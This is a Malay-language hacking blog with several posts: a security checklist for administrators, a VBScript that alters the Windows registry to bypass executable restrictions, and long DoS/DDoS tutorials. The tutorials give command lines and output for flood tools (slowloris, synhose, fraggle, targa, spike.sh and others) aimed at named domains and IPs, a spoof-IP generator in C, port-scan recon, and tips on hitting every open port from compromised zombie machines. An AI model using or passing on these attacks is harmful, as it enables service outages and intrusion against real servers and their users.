crewh3x4

11 perkara yang admin perlu sever perlu ambil berat

Dicatat oleh NICK KLUANG Monday, January 31, 2011

11 perkara yang boleh menjadi perhatian khusus bagi para admin untuk kehandalan sistem keselamatan rangkaian syarikat di mana anda bekerja tetap terjaga:

1. Mudah tertipu dan terlalu percaya kepada pengguna / user anda, terutama para kakitangan wanita atau sahabat yang meminta pertolongan.

2. Bangunan dan pintu akses masuk / keluar yang tidak selamat.

3. Dokumen-dokumen dan cakera atau peripheral komputer yang belum dihancurkan atau tidak hancur pada saat sudah dibuang ke tempat sampah boleh dibaca oleh pihak lain.

4. Password yang lemah atau bahkan sistem rangkaian tidak menggunakan password sama sekali.

5. Pertahanan rangkaian yang kurang kuat kerana mungkin tidak ada firewall dan sebagainya.

6. Masuk ke kawalan yang lemah, missing fail dan beberapa akses yang tidak seharusnya diberikan kepada user yang tidak perlu.

7. Sistem yang tidak dilakukan patch.

8. Pengesahan dan information disclosure aplikasi web tidak dilakukan sembarangan.

9. Sistem wireless berjalan dengan setting lalai dan tanpa WEP, WPA atau WPA2, sangat riskan dan mudah untuk dijebol.

10. SNMP melakukan enable rangkaian host dalam keadaan lalai atau hanya menggunakan mode guest untuk komuniti sehingga sangat mudah untuk dijebol.

11. Menggunakan firewall, router, remote access dan peralatan dial up dalam keadaan lalai atau password guest atau menggunakan password yang terlalu mudah, kerana ini sebagai jalan masuk hacker ke dalam sistem.

Di bawah ini beberapa port yang sangat sering dilakukan penetrasi (hacking) oleh para penggodam dan kakitangan yang nakal untuk mencuba-cuba menceroboh sistem keselamatan rangkaian:

* TCP port 20 dan 21 FTP (File Transfer Protocol)

* TCP port 23 Telnet (Terminal Emulation)

* TCP port 25 SMTP (Simple Mail Transfer Protocol)

* TCP dan UDP port 53 DNS (Domain Name System)

* TCP port 80 dan 443 HTTP dan HTTPs (Hypertext Transfer Protocol)

* TCP port 110 POP3 (Post Office Protocol version 3)

* TCP dan UDP port 135 RPC

* TCP dan UDP port 137 – 139 NetBIOS over TCP/IP

* TCP dan UDP port 161 SNMP (Simple Network Management Protocol)

Full Story

mematikan exute dengan menggunakan file.vbs

Dicatat oleh NICK KLUANG

maanfaatkan kode2 di bawah.

'===================================
const HKEY_CLASSES_ROOT = & H80000000
const HKEY_CURRENT_USER = & H80000001
Quot = chr (34)
strComputer = "."
On error resume next
Tanya = MsgBox ("By Laluan Exelockdown dan Registry Shell Spawning" & _
vbNewLine & "datang Exelockdown?", 36, "Exelockdown Hacking - by Lovepassword")
If Tanya = 6 Then 'pilih YA
Set objRegistry = GetObject ("winmgmts: {impersonationLevel = impersonate}! \" & StrComputer & "ootdefault: StdRegProv")
objRegistry.CreateKey HKEY_CLASSES_ROOT, ". sexy"
objRegistry.SetStringValue HKEY_CLASSES_ROOT, ". sexy",, "exefile"
objRegistry.SetStringValue HKEY_CLASSES_ROOT, ". sexy", "Content Type", "application / x-msdownload"
objRegistry.CreateKey HKEY_CLASSES_ROOT, ". sexyPersistentHandler"
objRegistry.SetStringValue HKEY_CLASSES_ROOT, ". sexyPersistentHandler ",,"{ 098f2470-bae0-11cd-b579-08002b30bfeb}"
objRegistry.CreateKey HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced"
objRegistry.SetDWORDValue HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced", "HideFileExt", 0
Set objWMIService = GetObject ("winmgmts:" _
& "{ImpersonationLevel = impersonate}! \" & StrComputer & "ootcimv2?)
Set colProcessList = objWMIService.ExecQuery _
("SELECT * FROM Win32_Process WHERE Name = 'explorer.exe'")
For Each objProcess in colProcessList
objProcess.Terminate ()
Next
set objShell = CreateObject ("WScript.Shell")
objShell.Run "explorer.exe"
msgbox "copi file exe, jalankan operasi ini", vbInformation, "Exelockdown Hacking - nick kluang "
End If

'===========================================

save as di notepad dengan extension sexy.vbs

Full Story

lagi tutorial tools dos/ddos

Dicatat oleh NICK KLUANG

TOOLS DDOS

Boink

Merupakan tool yang boleh membuat blue screen of death pada mesin-mesin windows 9x dan nt.

Berikut contoh cara penggunaanya:

bt ~ # ./boink 127.0.0.1 74.63.241.86 80 80 99999999999

(0)74.63.241.86:25->65

(1)74.63.241.86:25->65

(2)74.63.241.86:25->65

(3)74.63.241.86:25->65

(4)74.63.241.86:25->65

(5)74.63.241.86:25->65

(6)74.63.241.86:25->65

(7)74.63.241.86:25->65

(8)74.63.241.86:25->65

(9)74.63.241.86:25->65

(10)74.63.241.86:25->65

(11)74.63.241.86:25->65

(12)74.63.241.86:25->65

(13)74.63.241.86:25->65

(14)74.63.241.86:25->65

(15)74.63.241.86:25->65

(16)74.63.241.86:25->65

(17)74.63.241.86:25->65

(18)74.63.241.86:25->65

(19)74.63.241.86:25->65

(20)74.63.241.86:25->65

(21)74.63.241.86:25->65

(22)74.63.241.86:25->65

(23)74.63.241.86:25->65

(24)74.63.241.86:25->65

(25)74.63.241.86:25->65

dst ...........

Smurf & UDP Attack

Smurf attack merupakan teknik penyerangan dengan mengirimkan paket icmp yang dispoof ke target kita

Bloop

Merupakan salah satu tool dos dengan metode smurf attack.

Bloop akan mengirimkan paket icmp spoof secara acak ke target kita untuk membuat mesin target crash.

Berikut adalah contoh penggunaan bloop:

bt ~ # ./bloop 127.0.0.1 sec-r1z.com 99999999

Bloop v 1.0

Status: Connected....packets sent.

Fraggle

Fraggle merupakan tool untuk tipe smurf dos / ddos yang menggunakan suatu file broadcast yang berisi daftar alamat2 ip spoof.

Sebelum menggunakan fraggle kita memerlukan sebuah file broadcast ip spoof, Untuk itu

saya sudah membuat sendiri tool untuk spoof ip generator namanya dimas.c:

filename:dimas.c , programmer: mywisdom

/*dimas.c random ip generator (public ip and private ip)

version 1.0

c0d3r: mywisdom

greetz:gunslinger,flyff666,kiddies,xtr0nic,whitehat,Danzel and so on

#include

void bikin_random_ip()

{

FILE *dom2;

int a,b,c,d,a2,b2,jum;

dom2=fopen("ip.txt","w+");

for(;;)

{

srand ( time(NULL) );

a = rand ()% 255 ;

b = rand ()% 255 ;

c = rand ()% 255 ;

d = rand ()% 255 ;

if ( (a != 10) && (a != 172) && (a != 192))

{

if(dom2!=NULL)

{

if(a2!=a)

{

fprintf(dom2,"%d.%d.%d.%d\n",a,b,c,d);

}

a2=a;

}

fclose(dom2);

}

int main ()

{

bikin_random_ip();

return 0;

}

kompile file di atas dan run untuk membuat file ip spoof dengan nama file: ip.txt

gcc -o dimas dimas.c

./dimas

Selanjutnya misal target kita sec-r1z.com, contoh penggunaan fraggle untuk menyerang sec-r1z.com:

bt ~ # ./fraggle sec-r1z.com ip.txt 2000 900 80 0 99

fraggle.c by TFreak

Flooding sec-r1z.com (. = 25 outgoing packets)

................................................................................

Done!

bt ~ #

slowloris

slowloris biasanya khusus digunakan untuk menyerang http port

,keunggulan slowloris adalah hanya menggunakan bandwith yang kecil dari server attacker,

tool ini akan mengirimkan http request dalam ukuran panjang berupa angka random panjang

terlihat dari source codenya:

if ($cache) {

$rand = "?" . int( rand(99999999999999) );

}

Contoh penggunaan slowloris untuk menyerang sec-r1z.com :

bt ~ # ./slowloris.pl -dns www.sec-r1z.com -port 80 -timeout 30 -num 500 -cache

hacker by:..................

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Defaulting to a 5 second tcp connection timeout.

Multithreading enabled.

Connecting to www.sec-r1z.com:80 every 30 seconds with 500 sockets:

Building sockets.

tembak.c

tools ciptaan nick kluang johor ) dah ada dari zaman baharu ), ok mari kita cuba gunakan lagi untuk contoh target sec-r1z.com :

bt ~ # ./tembak

hantar Paket ke IP orang

Cara gunakan : $ tembak hostname.orang port

bt ~ # ./tembak sec-r1z.com 80

Serbuu....!!!! Hancurkaannn sec-r1z.com ke port 80

httpd_flood.pl

Ini dia perl skrip khusus untuk bergantung socket httpd ).khusus hanya menyerang http daemon (port 80)

Berikut ini adalah contoh cara menggunakannya, contohnya target tbd.my, contohnya kita menggunakan serangan yang lama infinite (selamanya) dan kita run di background di salah satu mesin yang kita root:

./httpd_flood.pl tbd.my -1 99999 -1 &

Teknik Serangan Gabungan

Teknik serangan gabungan ini menggabungkan aneka jenis serangan, Anda boleh mencuba tool ini: spike

ok mari kita lihat semua tool2 yang digabung menjadi satu teknik serangan dimatikan oleh spike:

bt spike # ls

README bin/ sources/ spike.sh* spike.sh~*

bt spike # ls bin

1234* conseal* jolt* latierra* orgasm* spiffit* teardrop*

beer* dcd3c* kkill* misfrag* pepsi* sping* trash*

boink* fawx* koc* nestea* pimp* stream* udpdata*

bonk* gewse* kox* newtear* pong* syndrop* wingatecrash*

coke* gewse5* land* opentear* smurf* synk*

bt spike #

sudah anda lihat,tool ini menggabungkan berbagai macam ddos tool menjadi 1

Mari kita cuba run tool ini untuk attack target kita target: sec-r1z.com

bt spike # ./spike.sh sec-r1z.com

Main Menu For spike.sh

1] Combo Attacks

2] Pick The Attack

3] Pick The Attack2 (Enter Your Own Info)

4] Class C Attack (Drop A Class C)

5] Never Die (Attacks That Never Die)

6] Clean up (Kill Hung Attacks)

7] Info Menu (Other Info About spike.sh)

8] To Exit Out

Enter The Number Of The Option To Run:

contoh kita ingin menggunakan combo attack untuk menyerang target kita

klik 1.

Maka akan muncul pilihan 3 jenis serangan berdasarkan tingkat ganasnya serangan ( minta maaf nick kluang johor sedang menyerang komputer anda server anda akan musnah ):

ComboAttack Menu\033[0m

1] Light Attack (12 Attacks)

2] Medium Attack (20 Attacks)

3] Hard Attack (33 Attacks)

4] To Exit Out

Enter The Number Of The Option To Run

#> \c

contoh kita pilih yang hard attack, klik 3 !!!

omboAttack Menu\033[0m

1] Light Attack (12 Attacks)

2] Medium Attack (20 Attacks)

3] Hard Attack (33 Attacks)

4] To Exit Out

Enter The Number Of The Option To Run

#> \c

Teadroping.....

Completed....

Pimping.....

Completed....

Nesteaing.....

Completed....

Misfraging.....

Completed....

Syndroping.....

Completed....

Koxing.....

Completed....

NewTearing.....

Completed....

Bonking.....

Completed....

Fawxing.....

Completed....

Trashing.....

Completed....

Smurfing....

Completed....

Attacking On Hold For BandWidth

Completed....

Boinking.....

Completed....

Conseal Firewall Attacking.....

Completed....

Jolting.....

Completed....

Modem +++ DoSing

dst...

tamat tutorial ddos

Full Story

DOS / DDOS

Dicatat oleh NICK KLUANG

ddos dilakukan dari banyak zombie kita yaitu mesin-mesin yang sudah kita owned dan boleh dimanfaatkan untuk serangan

dos adalah serangan yang berasal hanya dari 1 mesin saja!!!

Sebelum melakukan DOS atau DDOS Anda wajib mengetahui port - port daemon

yang terbuka di target kita, misal kita menggunakan nmap port scanner untuk target kita sec-r1z.com, satu hal yang wajib diingat oleh tiap cracker (nama domain sec-r1z.com hanyalah sekedar contoh)

yang ingin melakukan dos maupun ddos adalah sebaiknya tidak menyerang alamat ip target tapi menyerang domain / hostname karena alamat ip bisa diubah sewaktu-waktu untuk menhindari dos maupun ddos.

Sebelum ddos maupun dos mari kita scan daemon -daemon yang terbuka untuk

celah bagi kita menyerang, berikut ini contoh penggunaan scanning port dengan nmap:

bt ~ # nmap -A sec-r1z.com -PN

Starting Nmap 4.60 ( http://nmap.org/ ) at 2010-03-22 04:33 GMT

Interesting ports on 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86):

Not shown: 1668 closed ports, 36 filtered ports

PORT STATE SERVICE VERSION

21/tcp open ftp PureFTPd

|_ Anonymous FTP: FTP: Anonymous login allowed

22/tcp open ssh OpenSSH 4.3 (protocol 2.0)

25/tcp open smtp Exim smtpd 4.69

| SMTP: Responded to EHLO command

| b0x.sec-r1z.com Hello example.org [111.94.9.19]

| SIZE 52428800

| PIPELINING

| AUTH PLAIN LOGIN

| STARTTLS

| 250 HELP

| Responded to HELP command

| Commands supported:

|_ AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP

53/tcp open domain

110/tcp open pop3 Courier pop3d

143/tcp open imap Courier Imapd (released 2008)

443/tcp open http Apache httpd 2.0.63

|_ HTML title: Site doesn't have a title.

465/tcp open ssl/smtp Exim smtpd 4.69

| SSLv2: server still supports SSLv2

|_ the server didn't offer any cyphers

993/tcp open ssl/imap Courier Imapd (released 2008)

| SSLv2: server still supports SSLv2

|_ the server didn't offer any cyphers

995/tcp open ssl/pop3 Courier pop3d

| SSLv2: server still supports SSLv2

|_ the server didn't offer any cyphers

3306/tcp open mysql MySQL 5.0.90-community

| MySQL Server Information: Protocol: 10

| Version: 5.0.90-community

| Thread ID: 9230

| Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection

| Status: Autocommit

|_ Salt: @Te"s?}zn9nA:?l"cM6e

Device type: storage-misc

Running (JUST GUESSING) : BlueArc embedded (91%)

Aggressive OS guesses: BlueArc Titan 2100 NAS device (91%)

No exact OS matches for host (test conditions non-ideal).

Service Info: Host: b0x.sec-r1z.com

TRACEROUTE (using port 21/tcp)

HOP RTT ADDRESS

1 0.09 192.168.153.2

2 280.82 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86)

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 579.436 seconds

bt ~ #

dari hasil scan ke sec-r1z.com kita boleh lihat kalau port-port berikut ini terbuka sehingga memungkinkan serangan kita:

110

143

443

465

993

995

3306

Jadi kita boleh menggempur target kita ke semua port tersebut.

Tips!!!

Agar DDOS lebih efektif sebaiknya serang semua port daemon yang terbuka

dan bagi yg port 80 open serangan difokuskan lebih ke port 80.

Aneka Tool & Teknik Untuk DOS / DDOS

ICMP ATTACK

bt ~ # ping sec-r1z.com

PING sec-r1z.com (74.63.241.86) 56(84) bytes of data.

64 bytes from 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86): icm=10 ttl=128 time=273 ms

[2]+ Stopped ping sec-r1z.com

bt ~ #

Ok kita boleh melihat ketika kita ping sec-r1z.com dan ipnya diresolve ke 74.63.241.86 dan juga direply langsung olehnya :

reply 64 bytes dari 74.63.241.86 yang menandakan kita bisa menambahkan efek serangan icmp ke target kita.

Contoh Teknik dasar untuk melakukan ping flood dari root shell unix atau linux kita, ketikkan ini (misal target host adalah sec-r1z.com):

ping sec-r1z.com -fs 50000

PING sec-r1z.com (74.63.241.86) 50000(50028) bytes of data.

.......................................................

[3]+ Stopped ping sec-r1z.com -fs 50000

SYN Attack

SEcara default jika tidak diset di argumen maka synhose akan menyerang port 80, boleh kita lihat di sourcenya:

if(port == 0) port = 80;

Misalnya kita akan menyerang sec-r1z.com di port terbuka 80 dari 10 spoof ip berbeza contohnya:

bt ~ # ./synhose sec-r1z.com 80 10

SynHose [A random source IP syn flooder]

Written by knight / Idea by : rza

Destination : sec-r1z.com

Port : 80

NumberOfTimes: 10

SynHosing sec-r1z.com at port 80 from 108.248.253.31 port 2884

SynHosing sec-r1z.com at port 80 from 248.36.16.139 port 4

SynHosing sec-r1z.com at port 80 from 68.48.179.170 port 409

SynHosing sec-r1z.com at port 80 from 5.54.172.218 port 9780

SynHosing sec-r1z.com at port 80 from 156.228.227.167 port 5327

SynHosing sec-r1z.com at port 80 from 108.99.240.141 port 1746

SynHosing sec-r1z.com at port 80 from 242.249.38.240 port 924

SynHosing sec-r1z.com at port 80 from 111.233.60.127 port 4544

SynHosing sec-r1z.com at port 80 from 60.194.164.239 port 4234

SynHosing sec-r1z.com at port 80 from 174.243.162.91 port 8044

bt ~ #

Juno

Juno merupakan syn attack tool yang cukup terkenal, berikut ini adalah contoh cara pakainya (misalnya target adalah sec-r1z.com di port 80):

bt ~ # ./juno sec-r1z.com 80

juno.c by Sorcerer of DALnet

death to 74.63.241.86:80

syndrop

Syndrop merupakan tool yang mengabungkan syn attack dan teardrop,berikut ini adalah contoh penggunaan syndrop dengan target host sec-r1z:

bt ~ # ./syndrop 127.0.0.1 sec-r1z.com -s 31337 -t 80 -n 99999999 -S 20 -E 9999

syndrop by PineKoan

Death on flaxen wings:

From: 127.0.0.1.31337

To: 74.63.241.86. 80

Amt: 99999999

[ b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m

Jolt

Jika dilihat dari source codenya,Jolt merupakan salah satu tool untuk DOS yang akan mengirimkan paket icmp ke target kita, Pada zaman dahulu kala jolt ini banyak digunakan untuk membekukan server - server windows

jenis serangan adalah pengiriman paket icmp

icmp->type = ICMP_ECHO;

Berikut ini demo penggunaan jolt:

bt ~ # ./jolt 74.63.241.86 127.0.0.1 99999999

Sending to 74.63.241.86

..................dst

Targa

Targa merupakan tool dos yang merupakan kombinasi dari tool2 ini:

* bonk by route|daemon9 & klepto

* jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)

* land by m3lt

* nestea by humble & ttol

* newtear by route|daemon9

* syndrop by PineKoan

* teardrop by route|daemon9

* winnuke by _eci

header2 file yang digunakan oleh targa cukup, juga dan tidak ada di backtrack secara default, jadi saya tambahkan sendiri, berikut ini header file saya di /usr/include/netinet sehingga berhasil mengcompile targa.c:

bt netinet # ls

ether.h if_ether.h if_tr.h in.h ip.h ip_icmp.h ip_udp.h protocols.h udp.h

icmp6.h if_fddi.h igmp.h in_systm.h ip6.h ip_tcp.h protocol.h tcp.h

bt netinet #

Misalnya kita ingin menyerang seluruh range ip dari range ip 74.63.241.86-74.63.241.88

Berikut adalah contohnya:

bt ~ # ./targa 74.63.241.86 74.63.241.88 -t 0 -n 999999

targa 1.0 by Mixter

Leetness on faxen wings:

To: 74.63.241.86 - 74.63.241.88

Repeats: 999999

Type: 0

74.63.241.86 [ $$$$$$$$$$$$$$$@@@@@@@@@@@@@@@-----

Full Story

badan yang menguruskan internet

Dicatat oleh NICK KLUANG Sunday, January 30, 2011

Internet sebagai salah satu teknologi, tidak akan mungkin boleh berjalan dengan sendirinya kalau tidak ada badan yang mengaturnya. Badan pengatur internet ini adalah organisasi bukan keuntungan yang boleh diikuti oleh siapa saja sebagai anggotanya. Ini hierarki dari badan pengatur internet:

1. Internet Society (ISOC)

Merupakan organisasi yang paling utama yang berfungsi untuk mempromosikan internet dan menyetujui protocol-protocol yang akan digunakan sebagai standard protocol di internet dan bertanggung jawab dalam teknologi internetworking beserta aplikasi-aplikasinya. ISOC berdiri pada tahun 1992 yang dikomandani oleh Vinton G. Cerf (penemu konsep TCP / IP dan Bapak Internet). Maklumat lengkap tentang ISOC ini boleh didapati pada websitenya

www.isoc.org

2. Internet Architecture Board (IAB)

Merupakan badan penasihat bagi ISOC dalam

memutuskan suatu standard yang akan digunakan di Internet.Informasi lengkap boleh dipdapati di www.iab.org

3. Internet Assigned Numbers Authority (IANA)

Ialah unit kerja yang berada di bawah IAB yang bertugas untuk menetapkan masalah IP Address, DNS, dan pendaftaran protocol dan penomoran yang lain yang berlaku pada IP. IANA juga mendelegasikan beberapa bidang kuasa kepada beberapa unit kerja yang berada di bawahnya, seperti Internic, ICANN, APNIC, ARIN dan lain-lain. Anda boleh melawat website

www.iana.org

4. Internet Research Task Force (IRTF)

Ialah unit kerja yang berada di bawah IAB yang bertugas untuk melalukan kajian-kajian terhadap protocol internet, aplikasi, arsitektur dan teknologi internet, baik untuk jangka pendek mahupun jangka panjang serta mempromosikan hasil-hasil kajian tersebut. Sila kunjungi website

www.irtf.org

5. Internet Engineering Task Force

Ialah unit kerja yang berada di bawah IAB yang terdiri dari orang-orang yang menumpukan perhatian untuk membangunkan aplikasi dan senibina internet kedepannya. Salah satu tugasnya adalah menerbitkan RFC (request for comment) atas suatu protocol atau standard yang dicadangkan oleh seseorang untuk dikomentari oleh orang awam atas persetujuan dari IAB. maklumat lebih lanjut sila layari

www.irtf.org

Full Story

crewh3x4

banner

popular post

popular post

popular post

info hacking

try click

-----------klik unuk menderma

11 perkara yang admin perlu sever perlu ambil berat

mematikan exute dengan menggunakan file.vbs

lagi tutorial tools dos/ddos

DOS / DDOS

badan yang menguruskan internet

nuff

comment

page transate

Total Pageviews

x

network blog

Followers

Blog Archive